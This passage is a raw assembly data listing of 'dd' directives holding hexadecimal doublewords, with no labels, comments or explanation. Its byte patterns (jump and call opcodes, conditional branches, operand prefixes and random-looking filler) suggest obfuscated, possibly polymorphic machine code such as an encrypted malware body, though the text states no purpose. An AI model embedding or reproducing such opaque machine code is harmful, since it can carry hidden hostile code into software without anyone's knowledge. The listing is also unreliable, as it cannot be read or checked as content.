0E8CB8B00h dd 11h, 0B4F84249h, 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 5A6160FCh dd 6850F60h, 81000000h, 8A9EF7DAh, 61DF8B72h, 0FDFBF0Fh dd 985h, 3810F00h, 66000000h, 6E9CE8Bh, 0A6000000h, 2EFE1E39h dd 0E8D38B3Eh, 0Dh, 0B5A3D097h, 4EA17E19h, 74BFBC0Bh, 965ABB8Eh dd 0FC5E373Fh, 0E2816053h, 2F11EA27h, 59615B53h, 8C469B8h dd 0CE95Fh, 0F1830000h, 0A7C3038h, 0C61DFB42h, 0DF8140F9h dd 263086E0h, 0C820Fh, 66600000h, 0FBB31BFh, 84h, 840F6100h dd 0Fh, 0AE9h, 9DFE7F00h, 7D53C9BCh, 0FDD2433h, 0C8Eh dd 6850F00h, 0F000000h, 8Bh, 0BDB96600h, 2840F84h, 8B000000h dd 0BE8F0h, 54C50000h, 8E257A9h, 667C2C59h, 81665FC7h dd 66159CF7h, 66A20DBEh, 34CFCB81h, 6E9h, 48C9400h, 0E947AC11h dd 0Bh, 292D26ABh, 4E6894ADh, 66FF140Ch, 0E8FCF78Bh, 13h dd 9E8680BBh, 0A4BB9263h, 55C60194h, 74F2A949h, 0FBDC113h dd 38Ah, 0C2B70F00h, 0F1BB15Ah, 83h, 0D9B70F00h, 3B2B35BBh dd 66C68A0Bh, 0CE9CA8Bh, 15000000h, 0E1577E57h, 3BA54B4Eh dd 0E89352F0h, 8, 0FCF83AB4h, 0A598767Dh, 52DE8166h, 0FF95FFFh dd 0C981C1BFh, 60AF9A99h, 8184F680h, 53BD78CEh, 8E967h dd 0B2B90000h, 0E75B95Ch, 0BF0F99B8h, 0F180F8F9h, 0C78B66E1h dd 7E870B1h, 6A000000h, 8EADAB33h, 0EE818ED6h, 294C21E5h dd 80DE8B5Ah, 0BF0F5CC0h, 0C68B66FFh, 820F5656h, 0 dd 11E9585Bh, 0D0000000h, 54DE782Eh, 3404C1E8h, 0F98AF41Ah dd 52DD3D7Ch, 4820Fh, 0BF660000h, 816659D3h, 8105E9CBh dd 0F47097F7h, 14E8F93Dh, 6D000000h, 4F19C4E1h, 15C77E47h dd 15A8A37h, 0A9DC784Ch, 660CEC8Fh, 815BD08Bh, 0BA625CE6h dd 0D1B86617h, 92BA6654h, 18A0F22h, 0FC000000h, 0E2E78166h dd 73CF80D5h, 0F98B6657h, 0D2B70F5Bh, 0F5FFB70Fh, 880FDE8Bh dd 0Fh, 9E8h, 38BD4700h, 0F67A356Ch, 665B77CDh, 20CDEF81h dd 0AE9h, 0B34E1900h, 94C68E1Dh, 819D1B4Bh, 3EA9E6E1h dd 5D38B967h, 92BE6053h, 0F2716B3h, 5957FFB7h, 0E9F8C28Bh dd 12h, 68A25CCDh, 3D3CEABCh, 1EC6281Dh, 23B46A6Dh, 0BAB469CBh dd 10E9h, 0E2ACF600h, 0BA8D1ABFh, 670FC175h, 75F19633h dd 5760FCD6h, 8F0Fh, 665E0000h, 611CCEBAh, 0AE8h, 643A9800h dd 0F30FADD2h, 57E08A65h, 8E9h, 0CF684B00h, 0F7DAAB4Ah dd 8B5F589Fh, 53FE8BD9h, 8166F960h, 61B64FC1h, 95F0B85Ah dd 8E0F5687h, 6, 0FA74D881h, 10E919D3h, 0E6000000h, 0CDF7182Ah dd 2A14D9EEh, 0EB08543Eh, 0FCE7FE09h, 5E9h, 0DF9E0A00h dd 0C5BB9DEAh, 0F96B393Dh, 8A0Fh, 840F0000h, 3, 0E8EFE980h dd 7, 0B4624834h, 5E1E76BBh, 1830Fh, 66FC0000h, 0C2BCD281h dd 6B1FDA81h, 8B66628Eh, 0D9B70FDEh, 9E9h, 0C32E7D00h dd 8A5BBB87h, 8D0FC086h, 17h, 0FE8h, 8496AC00h, 0D5A6953Dh dd 0CF6A967Ah, 0EE5ED03Ch, 605E6160h, 8ADB8166h, 0BB961E8h dd 0F1FE648h, 282h, 66DA8B00h, 8166C18Bh, 0BF0959F7h, 54DC8088h dd 97F78166h, 5253B85Fh, 0BF0F3CE1h, 0D38166FFh, 8A57D64Eh dd 0D8805FEBh, 0F68166CFh, 8A0F1697h, 1Bh, 13E860h, 0A41F0000h dd 0C346C478h, 0D326B9DFh, 0E7D689A1h, 495C2231h, 8B615AE2h dd 81ABB2C2h, 8276E3DBh, 32D88146h, 662BB2AFh, 0BE6ABEBFh dd 7CF73EB9h, 0F850Fh, 8E80000h, 51000000h, 0C3991E9Ah dd 0F85240D8h, 13E85Eh, 0DC5E0000h, 66EB3F57h, 8CD936F4h dd 429F355Bh, 0EB23947Eh, 60F9601Ah, 665F6161h, 0E8DA0EBBh dd 14h, 16B1C06Bh, 8F8D61h, 0D7A00D3Bh, 0D629C4F1h, 2C0D0F47h dd 3BF1BA66h, 1290BB5Fh, 0F8FC2667h, 0FF560F5h, 0E961C6B7h dd 0Eh, 72D2F326h, 19F78400h, 63264988h, 8B66589Ah, 7B57BFD6h dd 0EE8470Dh, 37000000h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h dd 0D98B669Ch, 0CE959h, 758D0000h, 0C117367Ah, 42DC7B59h dd 0BF0F728Dh, 0F6060F9h, 0D78BCEB7h, 12E96161h, 51000000h dd 9A077ACCh, 0A3AA0AF4h, 4CCFFAD7h, 3E56BFCEh, 0DE8B57E8h dd 0EFBF665Bh, 178F0F2Bh, 0E9000000h, 12h, 470FA121h, 23803EBEh dd 361C89B7h, 0B882B891h, 8B66751Dh, 0BA8AB1FEh, 39FD5E4Ch dd 0C0D88166h, 66CE816Dh, 0E9047113h, 0Ch, 0F990FEC8h dd 9FFA071Ah, 6B1E1CF1h, 1ACF8166h, 1CF08137h, 0E915431Bh dd 0Fh, 8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 0FA243DAh, 1782h dd 12E900h, 0B4D0000h, 12BD91B5h, 66674C16h, 0FE3CFD08h dd 5EDA20BCh, 20DAEB81h, 0FF811A7h, 0B84h, 58E0F00h, 66000000h dd 0D58BF181h, 58A0Fh, 0A6BA0000h, 60798F8Ch, 8D0Fh, 880F0000h dd 6, 880Fh, 60610000h, 0DE9h, 56284D00h, 5993B6A1h, 0AB5F83D5h dd 5E96FD9h, 14000000h, 9C6AD33h, 0F0B96661h, 0C926BE5Bh dd 0F9560A61h, 5DDCB85Eh, 0C0812927h, 3F5DD321h, 30D98060h dd 0AE9h, 0C658F200h, 0A689D1CEh, 61FD5E11h, 8166C58Ah dd 0E999FBC2h, 14h, 0E91F3959h, 8A668991h, 0BB2177A3h dd 0E1D0856Dh, 0F835DAD1h, 5E8h, 0DF0FC900h, 805FBF15h dd 0B70F25EAh, 0E8B9B6D8h, 6, 0A9AC5362h, 0B8660D3Fh, 665F3263h dd 0E9F7C6B8h, 0Ch, 0BB11CDC0h, 4DA6BDFDh, 0FED92876h dd 7E8h, 95218900h, 77C2A0B2h, 6659D38Ah, 8AE4B2BFh, 0C8A0FCFh dd 0F000000h, 687h, 8B0F00h, 0F5000000h, 0D4F38166h, 50C1B929h dd 0B866427Eh, 4FB9207Dh, 0F7A2A28h, 0EE81FAB7h, 23626F9Ah dd 0FCCE8B66h, 28A0Fh, 71B00000h, 0F8E0Fh, 0AE90000h, 0AA000000h dd 6196E3B4h, 0C157DE0Dh, 6E999h, 0AA030000h, 4EF5CE62h dd 6800Fh, 0E6810000h, 34455533h, 10E9h, 1C009A00h, 0E2FF921Fh dd 191C3AE0h, 0AF164777h, 6E95067h, 0BC000000h, 0C3BA8B0Dh dd 0BF0F58B3h, 816650F0h, 5F1E65F3h, 3860Fh, 8B660000h dd 0F51F8FBh, 815FC9BFh, 4DC37EAh, 0BEF38B21h, 60E3924h dd 0EE9h, 4F7FAC00h, 6957B6CDh, 2D9145CFh, 0E8C799DAh dd 0Bh, 0B94B423Ah, 62CCF9BAh, 0E88A1550h, 13h, 765F78E5h dd 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 0F1DD919h, 5E58F8BFh dd 4870Fh, 0BF660000h, 0BE6663EFh, 0D18B36E7h, 28F0Fh dd 0E78A0000h, 7E9h, 0F7B80C00h, 0BF11496Dh, 6870Fh, 0EB810000h dd 1AA2C680h, 0BA2EF381h, 870F4826h, 3, 0E9B6E280h, 8 dd 627D505Ah, 0F87003D7h, 0FF88B66h, 384h, 0F28B6600h dd 0FCD8F680h, 0FE960h, 65190000h, 9A8B2D48h, 867350B0h dd 0F877345Fh, 61DBB193h, 860F5160h, 0 dd 7E85Ah, 1B600000h, 9DB97450h, 0D08B665Dh, 81666159h dd 0FB541F1h, 48Fh, 0C5BB6600h, 8B666083h, 8E0F61C7h, 3 dd 80F6BF0Fh, 10E81CD2h, 44000000h, 5FF71A49h, 123CF1BFh dd 0D5D162FFh, 0FB1CBCBh, 535FCABFh, 0F9580FB6h, 3870Fh dd 8B660000h, 830FD1h, 53000000h, 0EE8h, 0C1860D00h, 88C8B1BAh dd 8F6917AEh, 8BF6A5ACh, 0B15A59C7h, 0AFD6811Ah, 0BA066BE0h dd 48DFDEFEh, 0BE9h, 0A9519000h, 0B746C0AAh, 2B902052h dd 0EB816652h, 0F59BDBFh, 384h, 59F85200h, 4890Fh, 0BE660000h dd 8B668261h, 6676BFC3h, 8B663F25h, 13E9DFh, 48F90000h dd 7172BD31h, 0F4579B2Fh, 1512E2B1h, 3B8C3954h, 0E6E3B8B9h dd 8D0F4661h, 5, 4C38166h, 0E2B96657h, 0B8665329h, 815F27FCh dd 0AA0D3BDAh, 0F1CB301h, 8Eh, 0F60F800h, 10E9DBB7h, 4E000000h dd 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 61F6ABC6h, 28C0Fh dd 0CF8B0000h, 77C38166h, 18F681C8h, 0E92D71C1h, 10h, 0CB2411ACh dd 0F60AF8D8h, 6D881DDDh, 3656A724h, 0BE9C18Bh, 53000000h dd 994F8B20h, 930283A2h, 22B81BE5h, 0F73AFFFh, 0EE9C6B7h dd 0FE000000h, 0CD317867h, 8C5C7778h, 0CE23C96Ch, 0F9A3B604h dd 623D681h, 0D3B11B18h, 0DE9h, 15FB7A00h, 39A92E03h, 85EF15CFh dd 665381DAh, 59BC5FBEh, 0BF3BF680h, 7CDBC1E1h, 66F08B66h dd 0CDEBF281h, 0E4174EB9h, 12E9606Ah, 8D000000h, 3EF9ACC3h dd 93F6D829h, 3016AE99h, 5E37996Ah, 8B6661CBh, 29F081C6h dd 6040D31Ch, 13E9h, 0E56F4C00h, 0A6108E7Fh, 22D3797Ah dd 7D1A4F36h, 6E7CF474h, 820F60h, 66000000h, 61DE71B8h dd 880F6061h, 0Fh, 0AE9h, 0F0450C00h, 0F4DCB5FCh, 6614D6E4h dd 61140FB9h, 60A6D880h, 0FD9B70Fh, 6661F0B7h, 0BF0FD88Bh dd 8AC88BD6h, 0AE9F3h, 0C9210000h, 0FB5152CEh, 0DB57E85Ah dd 681EF381h, 0B70F5D6Dh, 0EE8D3h, 0F17E0000h, 0C62AECADh dd 0B6A56C88h, 444926FFh, 0F559F38Bh, 5E9h, 18481A00h dd 8166DD85h, 0F330EF6h, 582h, 0CA816600h, 0D38B20B4h dd 2840Fh, 0FD8A0000h, 8B6653F5h, 0B70F5EDAh, 11E8D2h dd 4A870000h, 0AA7B5F13h, 3EA3C3AAh, 3B29F313h, 0B347BD64h dd 860F5FABh, 19h, 11E8h, 1C77B800h, 84C67EE4h, 0D151686Dh dd 1BC1C92Ah, 0F78B22C3h, 0BCE78158h, 0F057F40h, 889h dd 0C4806000h, 0DF8B661Fh, 5E96061h, 4C000000h, 0BED4F249h dd 8F0F60h, 66000000h, 2299E881h, 0FFC6161h, 0BA50CFB7h dd 6FD481BFh, 0DA816658h, 0B70FFBFAh, 0CE8B66F9h, 38B0Fh dd 8B660000h, 14E9CAh, 0C18C0000h, 4BEAE540h, 4711A1h dd 1319C043h, 41E8D414h, 8B66247Bh, 9E9D7h, 0EBAE0000h dd 85D34A47h, 66595726h, 5014C8BAh, 14E8h, 62828A00h, 0D3353776h dd 0E9E589FEh, 0B0D2991Fh, 68E5D18h, 9E9DEh, 197B0000h dd 0FB9FA494h, 5AE9F098h, 2870F58h, 0B3000000h, 0BE9C4h dd 0B6F40000h, 0CEA843E8h, 0A0D7D903h, 0C3816671h, 0BF0FC1EFh dd 5800FC2h, 0BE000000h, 374790DDh, 5F5B94B8h, 8E92Ch dd 0AF210000h, 9193CE38h, 0F2BB7173h, 804C28B2h, 14E95AD5h dd 18000000h, 91C00B52h, 65A70902h, 28A19076h, 2FCA75Ah dd 609D0886h, 61F85851h, 11E9h, 87443900h, 0F47EA222h dd 4F4DC90Eh, 504BDB2Bh, 5153C784h, 1BFF20B8h, 0E85F5964h dd 10h, 0C2EA8242h, 1E2E1EE9h, 0E6FDBA45h, 0B96E2B94h dd 5870Fh, 0C8B80000h, 591BA26Dh, 1880Fh, 51F80000h, 37629B8h dd 6E95E31h, 2C000000h, 0FBC3C234h, 3820F3Ch, 80000000h dd 66FC0BD2h, 0FC2698BFh, 53C6BF0Fh, 9820F59h, 0F000000h dd 385h, 8CC38000h, 0EE856h, 869F0000h, 0E5C09FC3h, 81047C6Ah dd 0A622E3E0h, 3CA8166h, 575B5F76h, 0F5585E53h, 0DE8B6060h dd 619BCC80h, 0E6816661h, 0F68067E4h, 90E080D6h, 6850FFCh dd 81000000h, 16F4ACD0h, 0F08B6663h, 8166C18Bh, 0B41C2ED1h dd 8166522Ch, 59ABC3E0h, 0EF8166F8h, 800FF45Eh, 14h, 0E860Fh dd 8E80000h, 0BE000000h, 92FD8E82h, 5F888F85h, 66C38B66h dd 0E580C78Bh, 0D181665Ah, 6E9AC1Bh, 84000000h, 6420A6A6h dd 81BA6640h, 0CDBE66CBh, 5AF95236h, 890FD08Ah, 1, 0E9FD8AFCh dd 12h, 15520AECh, 0A9934614h, 0D30AEFD4h, 995D45h, 8166AAE5h dd 0BEF02FC2h, 0A7F4B08h, 8E9h, 76401C00h, 22838245h, 11E986h dd 45330000h, 0B0A4D7FDh, 0D8F1237Ah, 0F504B02Eh, 66F1363Ch dd 9B1CC281h, 58B0Fh, 81660000h, 566C29D3h, 58B0F5Fh, 0B9000000h dd 4DE54D78h, 6E9h, 84952B00h, 0F4CE56Ah, 783h, 81665300h dd 58DBA7DBh, 70F1CF81h, 0AE86B0Dh, 38000000h, 49F3B3A4h dd 44C0B86Fh, 0EE91Ch, 0DF4D0000h, 5B8046C3h, 21E8B419h dd 149CC646h, 0CE85Fh, 51FD0000h, 749A87ACh, 50935FFBh dd 8C0F4F1Ch, 0 dd 0CA8B665Eh, 40C546B9h, 13860F34h, 0E8000000h, 9, 0CA1A6A73h dd 0FF8928C6h, 88BB6613h, 0FFC5A96h, 0C82h, 6880F00h, 0F000000h dd 87h, 9E9F800h, 0E1000000h, 0A6FA1CADh, 0DF87174Ch, 665BF851h dd 778CC181h, 0E944B460h, 9, 0FE610904h, 1AFFBA0Fh, 8E9614Dh dd 0D6000000h, 7AF03309h, 0B66C8E63h, 0F5CB19Bh, 587h dd 61ABBB00h, 0FC8A7202h, 72C2BA66h, 0AE9h, 19878100h dd 0F9BE8838h, 66C3A988h, 7A07C381h, 1840Fh, 0BAF80000h dd 56E125F1h, 3AAFB866h, 11810Fh, 0CE90000h, 47000000h dd 10480276h, 0A0068810h, 0E95F38D6h, 0Eh, 0F47834F2h dd 0E715F750h, 61A8BC46h, 810FE06Fh, 3, 0FC9B70Fh, 8E9D1B7h dd 10000000h, 1AF36EC5h, 0F6E98D9h, 58Fh, 0C803B800h, 88BA0A3Dh dd 60541AF0h, 60FFB866h, 45D78166h, 880F61CFh, 2, 6E8FBB6h dd 0C4000000h, 9FBF4DB9h, 0FE96Ch, 0A6DF0000h, 0F3BC1Fh dd 77B368BFh, 62AA03B1h, 0BF0F59CEh, 0BF0F50CEh, 80F95BD9h dd 0AE82DDFh, 3B000000h, 939761C0h, 90456C28h, 5FDA8B46h dd 0C59419B9h, 1CBEBB4Dh, 66605E09h, 0AD80EA81h, 0A4F68166h dd 0B9B861B9h, 5720293Ah, 0C860F5Eh, 0F000000h, 68Ch, 0CBCB8100h dd 0F44E57Ah, 584h, 0ED805600h, 0B70F5FD1h, 81F0B0D7h dd 7D1028CFh, 8A0F20h, 0E9000000h, 0Ch, 57CBF1F4h, 0E4830A4h dd 0F66D92D5h, 11E9h, 49166900h, 2E90FD54h, 0C1FFC738h dd 0BBFC0EF1h, 0EE9D37Eh, 0B000000h, 1A4C3B91h, 534EF91Ch dd 57A08D78h, 0CA8B6623h, 58F0Fh, 0BABE0000h, 0F714B51h dd 95BBF0B7h, 0E92DED85h, 12h, 420EDFA2h, 6C9563D7h, 8CF8EA20h dd 819151A8h, 8166B0EBh, 0F92EE4CFh, 5E8h, 2F7C700h, 8A5FC57Fh dd 3CDC80D9h, 34D5BE66h, 0B70FF38Bh, 0B966F5F6h, 0BF0FCB14h dd 0D08166D3h, 11E99481h, 0C5000000h, 0B82F18F2h, 4B3D8A00h dd 39D3BE22h, 9E226BC1h, 0EBE88160h, 6145D855h, 1BBA66FCh dd 1A830F4Fh, 52000000h, 12E8h, 9ED3400h, 0C1AE4AB8h, 6C407212h dd 567C11Dh, 5EA476D1h, 7E858h, 59C70000h, 8FA362D1h, 0F7BF0FC6h dd 10C9815Eh, 0F6F9156h, 8Ah, 5424BA00h, 2EB8655Eh, 0BF44ACBDh dd 182F7599h, 0E13DE81h, 0BF666CE1h, 7E867E9h, 60000000h dd 424A74CBh, 575874BBh, 0B1EE981h, 0E8591B67h, 0Bh, 5E263AA2h dd 0E598B664h, 0FCB4D0B2h, 8BEE8A5Eh, 38C0FF3h, 0F000000h dd 8B0FC6B7h, 0Bh, 5820Fh, 0D1B80000h, 666D724Ah, 0B442E3B9h dd 8BF5FCCFh, 0B8E0FD6h, 0F000000h, 58Bh, 0E3816600h, 0DE93F1Dh dd 0C1000000h, 2808CBF4h, 0CC32D78Bh, 0FD56CC8Dh, 0E9C18B66h dd 0Ah, 32E67330h, 918FCA5h, 0F580083Dh, 93CF8181h, 5062E1D4h dd 5659F88Bh, 0D1BF0F57h, 66505A5Bh, 9C6EE381h, 10E858h dd 17F80000h, 49513003h, 78900CDh, 4977BBE3h, 0BA6612FBh dd 0E959F9B7h, 0Ah, 57BC6330h, 4003671Fh, 66F85B17h, 6651D98Bh dd 6D7AF781h, 12E5805Ah, 58A0Fh, 0EBF0000h, 0FC36FACAh dd 0FFD38166h, 82FBBED9h, 1EBF53D9h, 6020E5B6h, 0D98B6660h dd 0F61D88Bh, 28Ch, 61D18B00h, 3810Fh, 0D8800000h, 8D4FBA61h dd 57534C86h, 5F595A50h, 810FFA8Ah, 19h, 10E8h, 0AAF37E00h dd 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0CF8B66DFh, 9E95Fh dd 0BB5C0000h, 1EF51E9Eh, 0F99A2E82h, 10E9h, 8EE6F700h dd 6AAB3A59h, 0FA9BB402h, 5E1AE6CBh, 0FEBF0F30h, 66FABF0Fh dd 607DFEB9h, 0D78A85B5h, 5E1FB961h, 0BF0F52AFh, 0BFD681FEh dd 0E973B228h, 0Dh, 913AFF9Ah, 0A637D134h, 866181E7h, 0DE960ADh dd 7000000h, 0B4D6C408h, 0AFF1100Fh, 8B22A6C8h, 61DF8B66h dd 9A41B866h, 0B1B9CA8Bh, 8B7B4994h, 3CC8BBD9h, 0F511962h dd 665ED8B7h, 698BCB81h, 5E9h, 67FA3F00h, 0FE8DF34h, 4A000000h dd 651DA848h, 5AD9FC74h, 20587C7Eh, 0F5F91E6h, 18Ah, 14E9F900h dd 0E5000000h, 6732E88Fh, 0B369137Ch, 9B696BA6h, 3707419h dd 0E9F4951Bh, 11h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh dd 3E5FB06Fh, 47D480B7h, 6853B966h, 60D68B66h, 0CE8h, 24D81700h dd 77552CE0h, 0BF2DF4B3h, 8E8BFh, 8CBD0000h, 0D41E6F7Fh dd 5F592EFAh, 66615B52h, 8BF8F98Bh, 0D68B66FEh, 15880Fh dd 10E90000h, 13000000h, 0C7E66E0Eh, 21720D4Dh, 0F2D6DA28h dd 0E853200Bh, 0Ah, 585E3289h, 0B16EF3E2h, 0D781B7D4h dd 2625D81Ch, 108A0F58h, 0E8000000h, 0Ah, 0F5637705h, 2948FC1h dd 0F581A2Eh, 389h, 0DD38000h, 6880Fh, 0F6810000h, 3FCC3931h dd 51C18166h, 1C810FD1h, 0E8000000h, 14h, 29001B6h, 0BF81DD52h dd 0DC005AA3h, 1B4D5D51h, 8D3F294Fh, 665FD88Bh, 0E9F97EB9h dd 6, 0C3240901h, 8B605075h, 10B966CBh, 0B70F612Bh, 0FD78BD3h dd 48Fh, 76BA6600h, 0E96060D0h, 7, 0D6419D55h, 6123BCEFh dd 0F2B86652h, 0E861595Dh, 8, 9C85A177h, 356B829Dh, 934AB853h dd 595F01C2h, 82E27ABFh, 0BA666079h, 56615131h, 0E18166h dd 0F605FB4h, 682h, 870F00h, 52000000h, 58E9D580h, 81C88B61h dd 0E2EC9DE0h, 128F0F2Dh, 0E8000000h, 9, 7A88948Dh, 2D466CBh dd 0D78B66EEh, 0D38B665Bh, 0F3804CB1h, 0B4B96604h, 0DB81668Fh dd 11E85D92h, 0BD000000h, 4E2349CFh, 4FB50155h, 342A6AA3h dd 2DACB750h, 664B1B8h, 11E95816h, 3000000h, 0EB4C5AD7h dd 875C60DDh, 7B5F134Ah, 0A3C3AAAAh, 5890Fh, 83BE0000h dd 66172D46h, 8A63B9BBh, 66D68BF9h, 0F91F7BBBh, 1850F60h dd 0FC000000h, 8D0Fh, 0F610000h, 887h, 0C7815000h, 374850C7h dd 5CD0815Ah, 0F5DED88h, 287h, 0E9CA8B00h, 0Dh, 7D6EA7ECh dd 80F33C60h, 0F49D38Eh, 8F0F605Fh, 2, 0BB6185B5h, 34D3E5DBh dd 5E8h, 7EBE8700h, 12E940F8h, 4D000000h, 4DA7212Bh, 0EA94D76Dh dd 0FCFE7CE4h, 4243BA0Bh, 0BE665F3Ah, 0DA80858Eh, 0BF0F53ACh dd 0BB665AC2h, 0B70F0E06h, 0FE8F8h, 55CC0000h, 2EBF1617h dd 0B3012BEDh, 0A7876F5Eh, 0F5C781C3h, 591BC719h, 478FBF66h dd 0E880Fh, 81600000h, 0EBCCD1CBh, 46C78119h, 6176D1D5h dd 0B6D08166h, 8E9BDh, 0A9DF0000h, 0F820EAB8h, 50F97882h dd 11E8h, 0AA2A4800h, 0AB477243h, 0A79C2721h, 2A333B5Eh dd 8166ECE3h, 5B907AF0h, 81665059h, 5A65FBF1h, 11E9h, 152CA000h dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 15B00408h, 18800Fh dd 13E90000h, 3E000000h, 0B6FD8AC0h, 3CBF3487h, 667D6CA0h dd 4713B226h, 0BB6658E2h, 8B66EE3Ch, 0FE8D6h, 45030000h dd 21B7AB8Dh, 0EA9BC47Bh, 3B4782A1h, 5FD8B3EAh, 7E8h, 0C4C7F700h dd 971EF0B7h, 0CE85Ah, 0D8120000h, 0EBA5BB19h, 55A565F4h dd 0D8819836h, 50DB2EF4h, 5B96659h, 0F7B70F46h, 8166B4B2h dd 0E94FFFCFh, 0Dh, 0BCFE3CFDh, 705EDA20h, 67B7C1CDh, 14E8F9EBh dd 9F000000h, 0D55AC6DCh, 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh dd 66CD974Bh, 9AE9D681h dd 66B5B759h, 10E9CF8Bh, 43000000h, 143D7D6Dh, 9645C2EEh dd 5D2238E3h, 0FC61E140h, 49F5C1BFh, 0E881661Eh, 880F01CBh dd 1, 0E9ACB0FCh, 0Ah, 0BD87A51Fh, 0D4A839F8h, 8166C29Ch dd 8195F9C6h, 0BEED99C8h, 0FC78B5Dh, 8166F3BFh, 0FF106F3h dd 38Fh, 9EE98000h, 8BCAB70Fh, 3830FCFh, 80000000h, 0BB666FF4h dd 0FE98E72h, 93000000h, 17F1680Dh, 4C5F0ED2h, 504F4CFEh dd 0E2812F98h, 19B707C5h, 0AE8h, 0EADA8400h, 443A784Ah dd 0E88FF04Eh, 0Fh, 0A80AC225h, 5CD6DC4Fh, 6CCD7D3Dh, 52FDFC78h dd 815F585Ah, 0F97231F1h, 880F6024h, 2, 0B866DC8Ah, 8A613DACh dd 3CC881CEh, 6009EDA8h, 8AC1B70Fh, 816661C6h, 60CBE1E1h dd 0BE9h, 22BD6100h, 8D3A53F0h, 0A8484A5Ah, 0D98B6661h dd 8C0F96B1h, 1, 0AE9F5h, 457E0000h, 6F2C925Ah, 0B32A23C5h dd 0BABFE18Ah, 0B54094B6h, 800F5284h, 0 dd 2420BF5Fh, 8B667CA9h, 0F7AB0F3h, 0AAB9C2BFh, 0E936A73Bh dd 13h, 0DBA0217Ah, 0F1C840AEh, 70412F77h, 21A1FBF6h, 8A9762BDh dd 14E953C7h, 0EF000000h, 0A3E041BFh, 7A370505h, 0FCFCE970h dd 0CB049E01h, 598B5578h, 8B665A53h, 0C9B70FFEh, 911DBB66h dd 5800Fh, 81660000h, 667A71E2h, 573FCF81h, 0DE9h, 7AA82F00h dd 8B8753EBh, 4A10A2B4h, 52F5F6B6h, 3BD98166h, 13E95AD4h dd 71000000h, 0BB154343h, 0D2E9FB1h, 8A229FD5h, 0CBDF347h dd 0B96659ADh, 0E8F988D9h, 12h, 8374E24Bh, 31A5B9ACh, 0F2472310h dd 5FDE0512h, 8B66D45Ch, 0E1805FF8h, 8166604Ch, 0B52532CAh dd 0EE96158h, 5B000000h, 99E32D10h, 18636C9Eh, 2F9F3896h dd 0AE8D9h, 85340000h, 84A50AF1h, 3D1C7EFAh, 81639AB8h dd 0B70F5942h, 0B70F60DEh, 0BE8C7h, 2AC10000h, 0CAAC9E59h dd 0E867AE58h, 8F0FDAh, 5E000000h, 12E961h, 0EA080000h dd 6208B590h, 63AF52F4h, 67E99D6Dh, 0CDD67F7Dh, 0F680CB8Bh dd 7E860A9h, 1C000000h, 82FC2741h, 17BF3C54h, 5879F03Fh dd 188B0Fh, 12E80000h, 0BB000000h, 0EC5763F9h, 8F43DDB4h dd 0E576A066h, 0B4D58080h, 0B8615A84h, 25642C15h, 2FD28166h dd 0AE899h, 29490000h, 670B07A1h, 9BFDA1FFh, 245D981h dd 815F0266h, 6C9D17C0h, 0D8F0F6Fh, 0E9000000h, 8, 4FF1B061h dd 0A19CC92Fh, 86EC80F5h, 0D6F68166h, 2800F34h, 0B0000000h dd 0C1DA8143h, 0E8668CC2h, 8, 0E999D493h, 9A2BB05Bh, 0E85BF78Bh dd 9, 0ED61F6A6h, 60D337F4h, 1EDF8132h, 5B6A966Fh, 0F8C0BF0Fh dd 0F1B70FF8h, 8166D98Bh, 53EAC6E2h, 9E8h, 0ECF46400h dd 0E8058C43h, 0D08B4E88h, 0E9815B5Ah, 2304A973h, 0F5B9EF81h dd 0C8815AE3h, 3C2539BAh, 0CB60B866h, 0BFC78B66h, 3E6C5FA3h dd 0FDABF0Fh, 0F08AC2B7h, 74B966FCh, 513AB499h, 8E9h, 0B5FD8300h dd 0F494A953h, 6E9585Ch, 60000000h, 0F6493810h, 8166FC92h dd 668AFADFh, 0DF6F681h, 80C8BF0Fh, 0B966F2CDh, 8E904E5h dd 50000000h, 16B62A7Ch, 0FAC77C8h, 68Ah, 7D38100h, 663F0D3Ch dd 8060F38Bh, 0CE8B3ECEh, 66F4B561h, 0F822D181h, 71C88166h dd 7CD5B90Ah, 0E5805612h, 0B1FA8A9Fh, 0B70FF866h, 0FF08BD6h dd 889h, 28C0F00h, 50000000h, 9E8FC59h, 79000000h, 9AFF3A95h dd 0B406547Ch, 0FCC68B60h, 0B9665B61h, 850FDFF0h, 14h dd 0FE9h, 15C6C100h, 0FB44FD20h, 536CAE8Fh, 0EA1E8DB6h dd 0C8D0Fh, 820F0000h, 6, 0B2ECE381h, 14E90875h, 0C1000000h dd 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h, 665C69F2h dd 2786E081h, 0D94BBA66h, 0C180F38Bh, 0C78166F5h, 6ABB7202h dd 0FC127106h, 10E9h, 81FB1600h, 0EE814A2Dh, 0FDAD48E5h dd 3DB6C30Fh, 0EE8DFh, 30790000h, 3F0B3F37h, 698791BFh dd 2E5BCFDFh, 5EFABF0Fh, 249E681h, 8B66506Ch, 0FE8C2h dd 13D20000h, 80557767h, 0EBC4CB90h, 9C9F2F35h, 0CF8B66BFh dd 0BE958h, 1EBF0000h, 268BC9A4h, 3ED15D0Dh, 8C0FF5B1h dd 3, 0E9D7B70Fh, 14h, 128186CDh, 8423932h, 0B3CE9839h dd 99055F9Dh, 511DFC18h, 0EE8h, 9FE5CF00h, 3AEF0432h, 20231BE1h dd 5A2FBBFBh, 8B18E780h, 0E88166F1h, 0C88106EAh, 2B04CC7Ah dd 0D8B70FFCh, 5880Fh, 0F570000h, 0E85FFFB7h, 14h, 0ED20A56Eh dd 9F26BD7Dh, 0FAEE3C0Dh, 0B00ABAA0h, 5FC2F8E0h, 0AABEBF66h dd 0F321BF5Fh, 0BF0F43C0h, 6003B8CAh, 10E9371Ah, 16000000h dd 56E10FEBh, 3C05E8F8h, 0D40F3826h, 0E9BF4565h, 0Ch, 0D76A8EB9h dd 0EA7C90FBh, 53B3847Ch, 68E0Fh, 0C6810000h, 5F55D481h dd 0C8E0Fh, 800F0000h, 6, 800Fh, 81660000h, 0BEB1BBE2h dd 0FEFF89Bh, 3DDDCE81h, 81662E93h, 6681FCE0h, 0F7F4DBFh dd 1A86h, 12E85200h, 0E4000000h, 50E10109h, 0A6B43F5Ah dd 5B28F816h, 3A2FEAE1h, 66585B21h, 8BC61BB9h, 0CB8B66DAh dd 4FA8B966h, 28D0Fh, 